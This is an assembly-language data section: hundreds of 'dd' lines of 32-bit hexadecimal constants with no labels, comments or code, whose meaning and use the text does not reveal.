dd 0E8182629h, 6000DB20h, 4A2BA27h, 0BF096F4h, 0D1C77F78h
dd 87CD1800h, 0CB0003EFh, 5834E85Fh, 1328B30Ah, 0BF2D79h
dd 4BD7A83Bh, 93004ED0h, 1A215E8Eh, 71F245h, 4C676E32h
dd 0F54BC874h, 3DA1DC03h, 0A0A8060Ah, 58BAC9F1h, 7C00ECA4h
dd 90C7124Ah, 6A17D179h, 3A0045C3h, 0EB52C1BAh, 7C9057h
dd 0B7AB2262h, 64F05F23h, 31179BF4h, 3400A625h, 0B21D6CE0h
dd 7041009Eh, 0FC23856Bh, 0E43045AEh, 7DA2C43Bh, 60C00031h
dd 437775BBh, 0B803F2BEh, 39C6C426h, 1F540123h, 890E3538h
dd 6BFC6448h, 46B31A0Eh, 0B612E5D5h, 0AF0BCC80h, 2321EEEh
dd 0DA1E47FEh, 92A3B38Ah, 2426E9C1h, 20508E4h, 0A1B4AF68h
dd 0C80579C2h, 3F7B277Ch, 50124367h, 0EF24490Fh, 0DA4D9410h
dd 177DBBB8h, 81C97400h, 0EA868FFEh, 64035843h, 0AE281Eh
dd 0E0BDD2B5h, 8B00105Ch, 5572E6DDh, 67968A4h, 0CE3367D3h
dd 0D47A48A1h, 0A5540900h, 4134EFAAh, 0EB220010h, 1ADEA3Ch
dd 7402920Fh, 6EB9320Ch, 77F44023h, 42E00708h, 0F90E5AAAh
dd 0DC7A94A0h, 3D60D06Dh, 0AF750511h, 0D6420972h, 0E0E0DD73h
dd 92B0EC63h, 0D340DE00h, 70E71851h, 0AC8024F2h, 1A8707C4h
dd 3597A00Eh, 4A00B51Eh, 61AA2D45h, 0BCFF2Bh, 6DBD1364h
dd 55CC9AF1h, 31DE1F04h, 7C8094DCh, 0F89BCBA6h, 0D74A79h
dd 9AF7AF1Ch, 0C203BF4Dh, 1F2E5784h, 0EB36E033h, 12CE1350h
dd 40DC62D9h, 0F89A3070h
dd 0F26DC70Fh, 4C53835Ah, 0A3D5D0A2h, 0F51C2434h, 8DFB81ECh
dd 30DB7ECEh, 6F2C6A84h, 63000877h, 0B68FE2Ch, 6BB80084h
dd 32F1C205h, 5A00BDEFh, 9B16B6AAh, 25801830h, 4481E1D5h
dd 3392F78Ah, 81A221ECh, 0EE159108h, 9C3CDAh, 3B328A8Eh
dd 3FC56A6Fh, 9380DF0Eh, 73EE6584h, 1A68888Fh, 0F40798E9h
dd 0D9ACC9CDh, 30B63F8Ah, 85043F9Eh, 426D95B2h, 16097480h
dd 43013458h, 0BA5B80E2h, 0A8508A8Bh, 649EEFCh, 0EF944023h
dd 1DF451CBh, 0E8145C00h, 97837510h, 0DD7B3B1Fh, 94A4AE80h
dd 20CF645h, 1DA54702h, 0E09F1AC9h, 4C43203Ch, 920E0623h
dd 5EC01116h, 0FBC17156h, 31643804h, 0E0B7A4DFh, 13002723h
dd 45E64283h, 0EA3A161Dh, 7BF470B1h, 90E8B9F7h, 33E7F501h
dd 759AAFE3h, 7C01D86Ch, 0F7C64211h, 0FEAC7457h, 3C4E6501h
dd 494CCB43h, 6C6466CDh, 41FC9619h, 648CF9A5h, 0EFA728Ch
dd 0EA2C0604h, 80907B16h, 6FC381h, 0D7BB49CFh, 2AF007BDh
dd 7BF35A05h, 0A0673810h, 0BD81BAD0h, 0FE13008Ah, 71F7CA54h
dd 760CA1F2h, 38260402h, 9D6E0029h, 2E08484Dh, 9038541h
dd 33C1B834h, 42A998C8h, 0F6552C0Eh, 0A4CB60C0h, 8C012B11h
dd 0E9368669h, 2833C66Ah, 80BC9E24h, 0C5F539A4h, 0C0158B6h
dd 0E853F030h, 218050B7h, 2B9D7916h, 7709DD03h, 604CE6BEh
dd 98D568FCh, 0DE7400F5h, 782C3C98h, 39C0C147h, 0B2A15AC7h
dd 73E80063h, 3C139150h, 0DB09FA80h, 215F3975h, 0D2A3032Ch
dd 2EF5A850h, 1D770CF3h, 6D204F39h, 4852554Eh, 27E01E01h
dd 3439B1C9h, 0A6287D00h, 3659C564h, 3C05B770h, 0C9F6225Fh
dd 45DF8C80h, 14620928h, 0C880699Eh, 0D9501043h, 46242E0Fh
dd 87DE3CBh, 0EEC4D07Fh, 791019Ch, 95C3801Fh, 297AF4F8h
dd 5496C00h, 474B7496h, 0D023000Fh, 0C637D36Fh, 0F9001561h
dd 0B9ECE987h, 9F7F88h, 1B85FDB7h, 1E2D724Ch, 0C0F1A5Eh
dd 403128A0h, 0A5E30302h, 9001D300h, 8AFA13AFh, 0B35A00A8h
dd 3B260D31h, 1FEE3235h, 0EFE49D14h, 58593D98h, 7899006Ah
dd 0B6D86EDAh, 1833009Bh, 58EF5AF8h, 0B3011634h, 924F8975h
dd 54C4158Dh, 0CF5607D0h, 129B140Fh, 0C07D5CE8h, 4E78202h
dd 0ED184A4Fh, 69C0ABFCh, 206B552h, 0ADC263CFh, 0DC708731h
dd 886FE000h, 6AD6BAEAh, 0ABF400E3h, 6D4CAE78h, 39FAFF64h
dd 0D8B17A02h, 0E81FA871h, 504178h, 0C4C111D1h, 8DE9E644h
dd 0CF3463Ch, 10E5D519h, 1E7000F7h, 18770CFCh, 150052EEh
dd 0BFB855FDh, 7CF7943h, 0A36547C3h, 0FF69914Fh, 0FB4AD83Fh
dd 11B43312h, 109BD049h, 0A93170h, 0D64434ADh, 124FD13Dh
dd 3A0F81FCh, 77AC630Fh, 0E7A98802h, 77F6A0h, 0E847232Ah
dd 0AA0B686Bh, 877F49E0h, 8DA0D7A2h, 4865BFh, 0DF63B4A0h
dd 95B70D3Dh, 4E78A900h, 13FDBAB1h, 26963877h, 0C076DC1Dh
dd 1BC3AC38h, 6900EBC8h, 922B1430h, 127DD13Eh, 0A1CA19h
dd 0ED79B350h, 0EC003F20h, 9F24CD5Fh, 774C16Dh, 0A85904ACh
dd 0FCA1809Bh, 16001E37h, 0B3A22C77h, 0EA0AB3Dh, 0A5EFDA86h
dd 3CF428A0h, 5202DB83h, 0C14C9645h, 0FFF6E05Eh, 5CEC007Ah
dd 0B148DFACh, 2B007937h, 0D97EF928h, 97B63Dh, 25E150BBh
dd 5A90954Eh, 0E82EAE00h, 52F170A0h, 0FB7998h, 0B8BCB185h
dd 0A650380h, 61C90203h, 0F8434B1Bh, 2D927Bh, 0D45AB8BDh
dd 0D370C65h, 0D6DD2E02h, 80E22A98h, 3609B9D0h, 0C87D00BDh
dd 8822027Ch, 0E30743BBh, 9E860144h, 85CA4500h, 0D4FB00F1h
dd 133A117Dh, 7B18D837h, 98ACF753h, 754E70BAh, 0F4577BFDh
dd 4F597F9Dh, 0FF08203Fh, 7A00F343h, 39ACDBFBh, 7B60DF19h
dd 4EFD0004h, 61EC9FEBh, 593C7DF4h, 96CF80BDh, 706EF664h
dd 3F6098A4h, 19053E77h, 0C08DED08h, 8B76A0D0h, 8496F53Ah
dd 5ECA41B8h, 9AF2F080h, 29E0C0E4h, 0ED4DC65Ah, 920D181Ch
dd 0D34BD742h, 16AC8053h, 3D5510Eh, 8B81F559h, 0C9A0ED85h
dd 4700A7C3h, 867030Ch, 1D2A484Ch, 0CC8D8FBFh, 0C9E052C8h
dd 0A4CEE224h, 9CA0BC65h, 0DA4C9Eh, 0A0A3EA00h, 929CA849h
dd 73063CF4h, 298EDBB8h, 0F0983D28h, 40246F9Ch, 531D0D7Ah
dd 98C6F3C4h, 3894AB48h, 4302851Bh, 0AC9339ADh, 21E0C340h
dd 0FA45ED00h, 0B7023061h, 0C36F00A0h, 82AFDF7Bh, 0EC002136h
dd 0C13DFB3Eh, 1755E997h, 0AC5DDDh, 0DC681705h, 2000C462h
dd 9E73AA25h, 984EAF4Ah, 24B51338h, 21F03264h, 2A282CC8h
dd 113E8D00h, 0D618B339h, 53F40273h, 51CECC5Bh, 16660CC0h
dd 0FABB71Eh, 0ED6001FFh, 0AA213597h, 118C442Ah, 644A83BEh
dd 0C02799C1h, 0E80059B3h, 0A617F33Fh, 3ADC3581h, 6B80C76Ch
dd 0B8ECCA2Fh, 0D125D026h, 45FC002Dh, 0B22BC73Ah, 0E40E00ECh
dd 49B5E884h, 0C014ED8h, 0DF2FF3B0h, 0A4F4EE7Eh, 3C6C0028h
dd 3FE73614h, 220094FFh, 0E657B6ABh, 601CF541h, 7A260ADh
dd 7117C03Ch, 400684Ah, 7A67364Fh, 8BC63BCAh, 65939080h
dd 10A69BAh, 0B304B4E6h, 0E4A8232Fh, 0E50070BCh, 0A53AFC66h
dd 0A600C467h, 17532C58h, 28F25Fh, 0D309D045h, 0E15DFC08h
dd 0AB558002h, 0C053115Ah, 3EC64Ch, 5817527Bh, 0E416D1DBh
dd 0AC084Ch, 67D936D3h, 88353DBFh, 4D88E204h, 2C0097AAh
dd 77695B0h, 0DFE81904h, 68C0C4B6h, 26BB8991h, 5A68C30h
dd 90483575h, 41AFFFF4h, 0A7175FE8h, 805D9DEAh, 16128D82h
dd 4084562Bh, 0A17CD754h, 8A859001h, 1D4B089Dh, 4727C8h
dd 0E0817DFCh, 957F1E04h, 25561300h, 0E12852D4h, 0A9FD0072h
dd 86CB2F23h, 0F0A0B57h, 0B8B76468h, 48739339h, 0A9403000h
dd 4FF37Dh, 69CB83FFh, 0F066AEDCh, 1F5D38h, 54849312h
dd 13AC837h, 7C83BCE8h, 0D40F0AD8h, 0D20B3F16h, 81684C1Eh
dd 2A45248h, 74B8E8h, 3570C120h, 9590AD72h, 3C00A075h
dd 0E21550D0h, 5F3673h, 0EAFD99F0h, 3146D2D4h, 6C04DB00h
dd 0EC343D50h, 0DF4A15CFh, 5F01F0BBh, 0A694A32Ah, 64C9C3E1h
dd 0DEC2C03Ch, 6251CCA1h, 2C2C49F0h, 0EC40F0DAh, 256DE58h
dd 3D229CA9h, 9456545Ah, 0CF7B9105h, 8FBA5FC0h, 17F8B22Fh
dd 9555807h, 38834DFFh, 91A0AAF1h, 0AE03B8D3h, 0B3366D14h
dd 0CA63E81Ch, 1F99030Bh, 213B72D0h, 745009B0h, 5309E8FEh
dd 81F63ECBh, 0E1B68019h, 7C811C23h, 80E58C93h, 670723F4h
dd 615E1Ch, 4BF41D36h, 0DEFA1754h, 0BA007EB8h, 0C481E888h
dd 0DDF525h, 0F284027h, 0FB564C74h, 5C9F2F0Ah, 9E0988E1h
dd 0CAD8C322h, 0E0334294h, 725832Ch, 9756B801h, 49EB7009h
dd 2C03C562h, 48FE51DDh, 6F280075h, 3811B51Fh, 0C3007C79h
dd 18C1A94h, 5C6D655h, 0D91BE48h, 0DA23C0FEh, 0C98A73Fh
dd 0EFB04605h, 0EC830533h, 0F0948364h, 173DB66h, 0CD9C148Eh
dd 8F4D8D46h, 207693D8h, 0FCA7FB2Ch, 4C3C32C3h, 0A4601E18h
dd 0B701CAA9h, 0C6D74A91h, 65605CEBh, 6B61032Bh, 42C3C532h
dd 4E2F72C8h, 6895C425h, 0B061F58h, 62ACB48Ah, 0FA00684Ch
dd 0C35EE573h, 0FDB649h, 0ACD05CC8h, 0F19576D5h, 0B0042C79h
dd 83DC2EF2h, 2E8075C4h, 1A522E3h, 0D7364BBFh, 20EA4160h
dd 511AA40h, 910302CAh, 55D54DD1h, 40961CADh, 0DB5AD450h
dd 9E25192Ch, 5340B96h, 0E8C01479h, 123B520Ah, 2093B00Fh
dd 4692BF44h, 70151804h, 40804F30h, 80576B31h, 0C102699Fh
dd 0FD174C2Bh, 232CC08Bh
dd 48E5261Ch, 97A4CCh, 0CF303A7Ah, 0AE0034B3h, 0F85725B7h
dd 9413EA6Ch, 4FC04E68h, 0F76F438h, 70F8D201h, 6F77F325h
dd 19FF2D4h, 0E91763E3h, 60D0658Dh, 853802A8h, 0BE69000Ah
dd 4F28116Ah, 0A8F400C4h, 94EA1B2Ch, 934ACC4Bh, 99DCFFC6h
dd 0D14D8968h, 5C0100F8h, 2ECCDBCh, 0FE60FD8Ah, 81CCBEBDh
dd 0D905C5F7h, 7082849h, 0AA4E9967h, 4FA082E9h, 0A2DD2160h
dd 0B56824D3h, 5EB12D07h, 0B0ACD239h, 6174DBh, 84D6473Eh
dd 5EA837Ch, 9996EE00h, 0E46754A5h, 0E49097D4h, 1648743Ch
dd 0F7A01C8h, 15E4110Dh, 82011083h, 0A7EA5E38h, 0DE7C08C0h
dd 0B1B03109h, 2094C081h, 848D25FCh, 0AC1DF021h, 8C685Fh
dd 0DE4A023Dh, 1C87568Dh, 4041F282h, 9C3AA112h, 7302EE6Fh
dd 858E1443h, 4F40C084h, 70F998C7h, 78591718h, 0D65400F3h
dd 89DF1E99h, 4D3DA501h, 62BA87Dh, 7E274463h, 0E3843405h
dd 0CD911F0Ch, 0D76C9D41h, 12F00934h, 0B22CBA77h, 1042E8h
dd 43FE513h, 77AE87Fh, 0AE2FDA78h, 0D510C068h, 571CCAFEh
dd 7014F14h, 23024D91h, 3623530h, 76152EADh, 0B5DB2597h
dd 7090EDD9h, 79F21F94h, 0A69C5907h, 4DD080D3h, 0A158C2h
dd 85F45275h, 49E3D2Bh, 0FD2C2709h, 0BE74C146h, 2B4402Fh
dd 4044D88Ch, 199CD07h, 0C974107Fh, 0A60A5FC0h, 0E10F3DCBh
dd 0A14B9780h, 5F8AD83Fh, 0CD19FE03h, 0A85EC524h, 261A6C3h
dd 6826B7E8h, 0C466856Ah, 9CAAF928h, 0EE21BE03h, 0B084A76Eh
dd 739B28h, 0B7DB77D7h, 0C1BFFC9Ah, 81341600h, 3B797BCDh
dd 0CF3A0018h, 43F95178h, 0CA005C74h, 9DBE4F71h, 5C18DC2Ah
dd 7A77A904h, 5C639824h, 80160B9h, 7A5B136Ah, 0D4AC7552h
dd 0BC01B12Ch, 0FF4BD455h, 37C43F0Eh, 9F2700DAh, 615E862h
dd 0B3009781h, 0EBF5822Bh, 73C1B02h, 9EF4FD04h, 699680ADh
dd 8B2E2EF8h, 9D80545Ah, 0ABBA154Dh, 272B260Eh, 31F9E50h
dd 0A01C4CD8h, 0B8144580h, 0A3B0609h, 0C824E0AEh, 0F62600FAh
dd 0EB1A25C2h, 13030ECFh, 0C17E6E2h, 3B5FF0DDh, 0E3DB18EDh
dd 52E50272h, 0CF00CC92h, 53634ED0h, 0F92060Dh, 21D3CED5h
dd 0D6201014h, 0EB698340h, 4189FAD0h, 1800E374h, 0FC903802h
dd 437960h, 5A1861C1h, 75AB45C9h, 99E61600h, 7D522A8h
dd 3AEE004Eh, 0DBB0555Bh, 6C1FA71Dh, 0C86E476h, 5488612Eh
dd 0F108884Eh, 0D4B8AAh, 0DBC43E72h, 82FB5A2Eh, 5F080D01h
dd 0B469ED13h, 50D343FCh, 355C23h, 4BFD56A8h, 0C2384239h
dd 0E2BD5B03h, 8369AE4Fh, 0C3E0B83Bh, 6580060h, 0D488DB89h
dd 2AC0AB7Dh, 0CE1A137Fh, 0FB8A00E6h, 6E369E1Eh, 0A548AA4Bh
dd 80743FA6h, 10C08551h, 97E1C8h, 0E9BEBD37h, 95220A87h
dd 91DAA90h, 9900F4A6h, 3DDBE681h, 9D011C96h, 214E8091h
dd 0C12D851Ah, 0ED77671Dh, 9BC60F80h, 95EB1Ch, 0C7CD022Bh
dd 0D3010CA1h, 1EA92607h, 2A20A07Ch, 0D17D6h, 2D4CC422h
dd 2B7DC880h, 0E70291E0h, 359AF69Fh, 3C9CA06Ch, 0A48E03h
dd 729BDD40h, 8860F005h, 0EB0C3606h, 72950D1h, 8A9EA1F8h
dd 9B0029ECh, 5BA50223h, 1C906E4Eh, 0C696DDh, 6AC406ECh
dd 4FC3E574h, 3CBE5D58h, 0BFED00A4h, 0DF465BD7h, 320D3ACAh
dd 0FC08C230h, 690DB1CFh, 3044D7A1h, 55FFD0h, 0D5097294h
dd 54735322h, 5D0F6400h, 5E4FB65Ah, 909E1E7Ah, 7211F0D4h
dd 0CA011D9Bh, 0F8533359h, 0EBFCE3DDh, 4890C00Eh, 44A59608h
dd 4EE79407h, 3E90921Ch, 9FB69E8h, 0DF7BB2D7h, 78687C12h
dd 57018DAFh, 5DBC8932h, 4AD06DEFh, 0B1BF1DF6h, 3E2E2661h
dd 0B8AFB1Fh, 4103F909h, 0B2E3E45Eh, 0D1A13AC1h, 0BF10804Dh
dd 7EC02C5Ch, 78300061h, 9057F375h, 6EEA4EBAh, 3215B107h
dd 0DEB0BB7Fh, 0F05DAF80h, 59C1076Fh, 83C08AE2h, 30A68B12h
dd 17BF890Fh, 80B98EF5h, 4AB69432h, 6E8602F8h, 6D74FA62h
dd 43D6492h, 9709C177h, 35108CFAh, 76619FCh, 2D7B2113h
dd 6871701Ah, 0F0007530h, 19C71BAFh, 905C43h, 0DEEB6DD7h
dd 0DFFCEFF6h, 55D1A118h, 9D3259h, 8BDB460Fh, 0A3D3ED72h
dd 214108CDh, 25C895F9h, 0D240CF2h, 0C11944D2h, 0FE41AA00h
dd 0E66A3047h, 38B10029h, 6EC690C8h, 0F505EB1Ch, 0E42E2D85h
dd 0DFF9C8C1h, 0A3468006h, 480F9B02h, 4D317BDBh, 0F931110h
dd 0D6DA5400h, 446C1386h, 0D5E10042h, 0BA129A3Ch, 0F8144EE2h
dd 8E94B9CEh, 32079056h, 0F0C9020Fh, 34C8DE28h, 64D7E106h
dd 3838242Ch, 818E9B8h, 476E3150h, 0D599950Ch, 66CDB85Ch
dd 2162082Ch, 953F941Fh, 0C0EE350Ah, 89C9DA80h, 0E06908F1h
dd 0CF74004Bh, 51916CB4h, 39C05409h, 0C95D4A3Ah, 118F80Fh
dd 4E0D92B9h, 9D2BD1EBh, 95065349h, 111EC36h, 0AA1F0709h
dd 0F8C3F672h, 0C47E0E6Ah, 2E2180E1h, 3F1A1EFFh, 4D890526h
dd 0C8CF7Eh, 466491F0h, 0E27CBD60h, 0EAAE81C0h, 0CE709C9Fh
dd 71E06798h, 4A544856h, 0A6D3B0Ah, 0AE0288E9h, 0A0E8D2F8h
dd 0B6CE80A4h, 8810FD3h, 350579B8h, 9258482Fh, 0AD1F08C0h
dd 22DE4672h, 7C2F7004h, 8DF80F1Fh, 0CCC0FF9Ah, 0CF72AF36h
dd 985FB031h, 0B1805808h, 0D5965A1Dh, 0D90010EAh, 0E432D274h
dd 61D60A66h, 0F344B851h, 38A998DFh, 0D3E009h, 0F778CF6Dh
dd 0C2205DEFh, 3569DF0Fh, 0DBE01866h, 7363306Dh, 0B8BFFC20h
dd 5569E808h, 0A5CF825Ah, 0A481D30Bh, 83567452h, 9E1FBE8h
dd 6C780F57h, 0B0DB40A7h, 0FAF6C2D8h, 28095F4Fh, 37047886h
dd 802054ECh, 0DE7A3E4Eh, 0A9C0A1C0h, 486907ACh, 611900BBh
dd 80D20893h, 0ACA1A521h, 0F4203347h, 3E80923Eh, 910E6A79h
dd 46C00D31h, 0B26B258Ah, 7C8E503h, 0FF223E7Eh, 0BB553B63h
dd 77C800F3h, 0A3676AA9h, 80063A0Dh, 0E3F77DD7h, 0FBDB50D8h
dd 0D828D0F8h, 7FECCF0Ch, 0D1F269B0h, 0A7E85B63h, 0F2810126h
dd 7BCB1D5Fh, 0D5A980D3h, 70E6F6ABh, 0F1DD00FDh, 694CF9B8h
dd 40006364h, 0F81F0EB1h, 49358166h, 0D10000F7h, 0B30D3726h
dd 1B00BDD4h, 33EA3CEDh, 7DDE88A2h, 982E50C2h, 0A5048C3Ah
dd 9B690BACh, 0A120D762h, 58AC9Dh, 708EAA9Ah, 53754D6Ch
dd 1EBA3D18h, 1896B4E0h, 6092DF6Ah, 0FD6ED2EBh, 1CF4B391h
dd 0A46F0032h, 0B9D43CB3h, 9500A621h, 85DA2CFh, 0E8C21FADh
dd 8008B655h, 27D292C9h, 80300270h, 6ED702A4h, 820D0746h
dd 0C0DFFF05h, 0E1D0F7DEh, 94BAA9DCh, 4AC55EDh, 4A781274h
dd 0C3F82480h, 0E0512694h, 2A91190h, 6B5C5066h, 61592240h
dd 358CDC5Eh, 4C1F4h, 87B433D8h, 0F102F944h, 9EEB1D00h
dd 1866F049h, 27DD024Fh, 6D5979AEh, 246E4D10h, 404E643h
dd 860A68F2h, 0E5149820h, 28B066F3h, 3946C436h, 0AACA602h
dd 0D5319369h, 0AC9EA010h, 0D63CF703h, 46C32BA5h, 0B3009C60h
dd 1506898Eh, 9300218h, 0D02C1961h, 0E23009Bh, 0AFDEAAB1h
dd 0EF00424Ah, 6486DD62h, 0CEC2E836h, 5D0A6A8h, 9EF6CF76h
dd 0B8549C10h, 4008CD9h, 1F3D0E58h, 60864D8Eh, 1069B16Fh
dd 5C98EC4Bh, 0DDE27604h, 0C2669Fh, 2746C8Fh, 72A81F0Dh
dd 0FE19C406h, 1F052C10h, 0DB304902h, 4116866Ch, 48918E44h
dd 1F0A8090h, 8C0E72A7h, 22910E1h, 824F0A1Fh, 8AC32D7h
dd 0DB04D8FBh, 0F0D44264h, 330360C2h, 0D59895E8h, 66223446h
dd 953A8D00h, 0E3AACBD9h, 6DD53A9Bh, 7B150C4Dh, 250794E2h
dd 0D0AF72E7h, 800ACE16h
dd 66A7B40Eh, 30A883ADh, 6074AA8Ch, 37A5D533h, 6040CC87h
dd 0D8F86B21h, 949EA63h, 89793059h, 969831C0h, 0C5FDB800h
dd 4E85C014h, 71E0AC3Fh, 48A5B0ACh, 0A2E0F8C3h, 1200ACA4h
dd 0B03DAB1Bh, 5CAEF7B1h, 0D2A1CD3h, 59F90D9Ch, 2791E63h
dd 44300590h, 0E92DB095h, 8F81F063h, 43AB953Ch, 59CA38Ch
dd 8C817FC2h, 8110DFD1h, 0F30CB3D8h, 79F0358Fh, 6DBB00B2h
dd 0E303AF91h, 0D71671DEh, 0B85865A0h, 12C93AC8h, 14C31D1h
dd 2FF23964h, 1DB430A5h, 0F3537C0Eh, 0A20D6E68h, 40F1BE5Dh
dd 0E26DD91Ch, 0B158B090h, 184CD19Ch, 0F66400E8h, 0D79BFC2Ah
dd 5D67D1AEh, 8CC00E21h, 4A280Dh, 0DF40BBFAh, 0CA7F26Dh
dd 97B85B65h, 984F051h, 1D1EFAF3h, 80021164h, 47132127h
dd 66692898h, 51492084h, 482F7F4Ah, 6E008C79h, 0E212A0ADh
dd 488575F0h, 0A4F3EA3h, 11FCC4ECh, 95418602h, 0FC2C56D0h
dd 8E186122h, 0F80C9539h, 1FDC99DBh, 58A0FDB1h, 2CA7760Bh
dd 11EC1F5Ch, 2E6780D6h, 16306FA7h, 37F8340Eh, 91D14110h
dd 53960259h, 795170D0h, 17CE193Ch, 0F44568D7h, 7C86CB61h
dd 0EB420629h, 10532CD3h, 644E487h, 5708D260h, 0B105C37Bh
dd 5B28C0Bh, 0F71628C1h, 0D17CC104h, 540912D7h, 2B4980A4h
dd 0C4BC7CAEh, 791FF67Ch, 0D7CF86B9h, 0D18580A9h, 339050FFh
dd 0BA71F235h, 7D73C8D0h, 0B213AC7Fh, 183AC2D7h, 9F03D623h
dd 0B8C35963h, 4BF836CFh, 92A85DDCh, 0C80409D7h, 61041804h
dd 0D5C49543h, 68448C3Ch, 0E3B7F90h, 0D93DA045h, 23B82500h
dd 0ACBAC635h, 0C9C0F1EAh, 0EC386EDFh, 94C02597h, 49675441h
dd 90638Ch, 0E606AA49h, 0F5E1BEh, 3375CCBBh, 8FE5DD16h
dd 0EE80FCB1h, 151A3CACh, 9FD40342h, 0DEF63087h, 0E7C8A2FCh
dd 3292C008h, 0DA4C17ABh, 10E8D034h, 4B121CF6h, 0A44808B9h
dd 470F9AC0h, 227346DBh, 92100040h, 2676360Fh, 0E300A7AFh
dd 0F03FE53Dh, 98751F3Ah, 0BDEA1274h, 49781347h, 481D72B8h
dd 9182FD11h, 0E891CFF8h, 0A2A744F5h, 3003E2A4h, 7F0FFAF1h
dd 612C5D69h, 33D201C8h, 6C6AA08Ch, 5206EA28h, 5112D0EBh
dd 0C7720910h, 0B4005E70h, 3F320A6Dh, 0B7E230C3h, 0F040E508h
dd 0FCE79616h, 1FDC002Bh, 4709CE43h, 9CF8BB84h, 6AB51A03h
dd 2C72C3E6h, 8345E31h, 90254DC4h, 7A06920h, 2711FF85h
dd 1C30CA07h, 0F61E7094h, 9B0017C1h, 54AF8E41h, 93C42ADh
dd 2791D61h, 590781FFh, 398D4F6Ah, 80181A5Bh, 0A8980C08h
dd 0C6B15941h, 1880F228h, 7C1808DBh, 4FD22A20h, 1DB107B4h
dd 95EEE853h, 0C8B08BB9h, 0EC71C061h, 9C25D719h, 0B53CA27Ah
dd 0D3F80234h, 44FC5222h, 6B5B28D0h, 0EAF20B40h, 0C00CBF03h
dd 60381B1h, 0AD7FC9C5h, 35C8154Ah, 1C39F0FBh, 0CCFEAA00h
dd 854BCBD4h, 0CE493Ch, 67E5B1C0h, 296609Bh, 0C44E72A6h
dd 0E921735Bh, 89BC6659h, 3C3A4625h, 0D8C44445h, 0AABFF860h
dd 0A86F302Eh, 8185740Eh, 0C9EF7675h, 0B9264029h, 64465E44h
dd 6F60AC00h, 0EA09C8F2h, 740AAC92h, 0B0574CBFh, 2D4F8105h
dd 43FF8C88h, 95460207h, 3154D59Ch, 3E911069h, 3F930095h
dd 0E1D7EA81h, 0CCFA5B3Bh, 9457D22Ah, 0E3FDFE00h, 95C0DF02h
dd 75A500E6h, 0F9572112h, 418399Eh, 0EB08A090h, 0A43207Dh
dd 0EF40249Eh, 38062E03h, 308121AEh, 624F1C9Dh, 0EE78E06Ch
dd 50C58724h, 0C83544h, 57050028h, 0DB767998h, 823DC1F0h
dd 6301F754h, 0FD6FC45Eh, 70979768h, 8AC1269h, 98C09E64h
dd 46DB410Fh, 4B22A3h, 780F9012h, 0CF4544B6h, 6408C924h
dd 0FA267540h, 0D34700A0h, 57317C53h, 273CC885h, 1CA92E8Ah
dd 5808BD16h, 0ACA8C03Bh, 0A34F690Ch, 9E002Ch, 9D7EACA0h
dd 6CDD4921h, 0C4051226h, 0D34FA300h, 2ACAB29h, 85D58109h
dd 1C40BEEFh, 8A373CD7h, 6DC32817h, 1618A6DBh, 20D9EAB7h
dd 9DC4944h, 9A093898h, 414A8974h, 0D119119Ch, 144B09EAh
dd 57C06388h, 198D4F97h, 59F8D6EAh, 3829D2h, 95C86926h
dd 9C6AF63h, 0BB388FD6h, 4EE5F804h, 6A515809h, 0F35609E8h
dd 548478FDh, 822098AEh, 0A4AFD73Fh, 511124EAh, 1241210Eh
dd 3D0FF6A3h, 22282858h, 7A0100F3h, 785B56C4h, 707A94CFh
dd 97B9502Dh, 80651100h, 39E2BC2Fh, 74672C0Fh, 8B7A1628h
dd 0C0FDC8E0h, 4C7EA10h, 6D47B48h, 59765B90h, 8C48F5D1h
dd 0C21F010Dh, 82B13280h, 245731A9h, 4C9B4A58h, 0D9DA6902h
dd 0D2006154h, 0F0052443h, 80C9DBh, 0D85B372Ah, 7842288Ch
dd 0E8380C05h, 0BC200882h, 27D2A52Ch, 842931B0h, 43E1B084h
dd 0A69A0269h, 5B940460h, 83E8CE65h, 0D7A1AC3Ch, 2683CF4h
dd 0E1DE0A5Fh, 0DF60C046h, 0A97F0EE5h, 6E2534D7h, 0CF2CC3BDh
dd 64CE4D80h, 61C82F30h, 4BF7C3D0h, 36980402h, 4880B390h
dd 64502690h, 73E3C800h, 63D26589h, 926D69D9h, 512352D0h
dd 409A7500h, 5DFD2024h, 377EE67h, 7FFC04E4h, 1EC81BB2h
dd 0AE00921Ch, 21249527h, 74DCB5D9h, 0A0BE0005h, 7DBAB4E7h
dd 0C11E1D81h, 1E07E8E5h, 6AC09013h, 0A2A965h, 377498E7h
dd 1FAE9A1Ch, 14DF3800h, 1161BB44h, 93AA3DD8h, 0DD4F5F80h
dd 8224A920h, 475B7305h, 0A08421D5h, 912BCF2h, 0ACF8E0AAh
dd 465EACB6h, 0D5301F03h, 256E3A83h, 5601E0B4h, 42A8B223h
dd 17F527DBh, 80639188h, 81B4BE11h, 4490B07Fh, 5D3F3B50h
dd 24085BBAh, 0E4EAC774h, 72D21F41h, 0D7C898CBh, 5F84E4C0h
dd 39C70789h, 7859ED83h, 0EC45E080h, 5A7CBCCFh, 23043A91h
dd 0C45F00D8h, 39B4D6BBh, 75948CB9h, 5CDB0470h, 0E4091B1Ah
dd 80AC61h, 1819F982h, 106D9CBFh, 0EB272F21h, 0EE7CA07Bh
dd 0E6F2CF3h, 6D93242h, 0B1F9CDE0h, 9A5B8B7Ch, 5F50A420h
dd 0E17BF1h, 2695BB58h, 828EE096h, 0DCBCFC00h, 81D53718h
dd 0B5D127DEh, 0F2E51000h, 0F131DA66h, 0BF1A1024h, 812068F2h
dd 495271E4h, 0C80208Eh, 0FE72A91Fh, 2BFF448Ch, 881F0402h
dd 674CA7A8h, 60684488h, 1FC09D34h, 270C9169h, 0C244C896h
dd 83743EAEh, 2F75D10Ch, 22D4AC0h, 0EB70A009h, 0AACE80h
dd 0B50F2446h, 0CB32C0A5h, 268DE3Ch, 2EECD5CCh, 3814FA09h
dd 6301EF24h, 6E7D42E3h, 68B371FFh, 803A0164h, 6D3B59FDh
dd 1FA878E6h, 40F239ADh, 0E11E6BF4h, 13EA3B4h, 18A84DB3h
dd 28B9F535h, 7344001Dh, 35B0125h, 42B874AFh, 0A8DB893h
dd 0A420C906h, 0B60912E0h, 336CCD33h, 2B8B0080h, 0EDCA8691h
dd 0B20A06D9h, 2871DE0Dh, 7FFC6A48h, 1F0B268Ch, 8B1613F5h
dd 32A02C8h, 0C0BC4A1Fh, 9870F65h, 839C319Fh, 0F3774418h
dd 210067F6h, 12A8A714h, 117603Ch, 3BCEF2BDh, 40FCAE35h
dd 4B6E148Ch, 0A2901CBAh, 0EB6DD209h, 4E406846h, 26CF5EB0h
dd 865C6158h, 8CD8BC70h, 95E4D901h, 0CFEB1362h, 12A4412Ah
dd 344FA89Fh, 0FA200A20h, 0DCC0B43Ah, 7B27D50Ch, 7379D0h
